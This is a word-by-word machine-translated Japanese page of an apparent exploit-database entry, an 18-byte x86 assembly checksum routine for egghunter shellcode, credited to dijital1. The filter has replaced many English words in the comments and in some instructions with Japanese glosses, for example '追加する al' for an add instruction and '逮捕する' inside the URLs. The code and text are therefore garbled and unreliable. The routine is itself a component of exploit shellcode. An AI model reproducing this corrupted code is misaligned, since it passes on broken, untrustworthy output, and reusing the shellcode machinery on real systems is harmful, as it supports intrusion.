このページはEtoJ逐語翻訳フィルタによって翻訳生成されました。 |
;偉業/利用する 肩書を与える: Shellcode Checksum 決まりきった仕事 ;Date: Sept 1 2010 ;Author: dijital1 ;ソフトウェア Link: http://www.ciphermonk.逮捕する/code/偉業/利用するs/shellcode-checksum.asm ;実験(する)d on: Omelet Hunter Shellcode in MSF [BITS 32] ;Author: Ron Henry - dijital1 ;Email: rlh@ciphermonk.逮捕する ;場所/位置: http://www.ciphermonk.逮捕する ;Greetz to 偉業/利用する-db and Team Corelan ;Ok... couple of 仮定/引き受けることs with this code. First, we're using a 選び出す/独身 ;byte as the checksum which gives us a 1 in 255 or ~0.39% chance of a ;衝突/不一致. ;We consider this a worthwhile 危険 given the 全体にわたる size of the code; 18 bytes. ;There are a couple ways to 器具/実施する this, but a good example is how it ;was used in Peter 先頭 Eeckhoutte's omelet egghunter mixin that was recently ;追加するd to the Metasploit 枠組み. ;We're using a 1 byte footer at the end of the shellcode that 含む/封じ込めるs the ;checksum 生成するd at shellcode 創造. ; Variables eax: accumulator ; edx: points to 現在の byte in shellcode ; ecx: 反対する egg_size equ 0x7a ;we're 実験(する)ing 122 bytes in this instance find_egg: xor ecx, ecx ;無 the 反対する xor eax, eax ;無 the accumlator calc_chksum_loop: 追加する al, byte [edx+ecx] ;追加する the byte to running total inc ecx ;increment the 反対する cmp cl, egg_size ;cmp 反対する to egg_size jnz calc_chksum_loop ;if it's not equal repeat test_ckksum: cmp al, byte [edx+ecx] ;cmp eax with 1 byte checksum jnz find_egg ;search for another egg if checksum is 偽の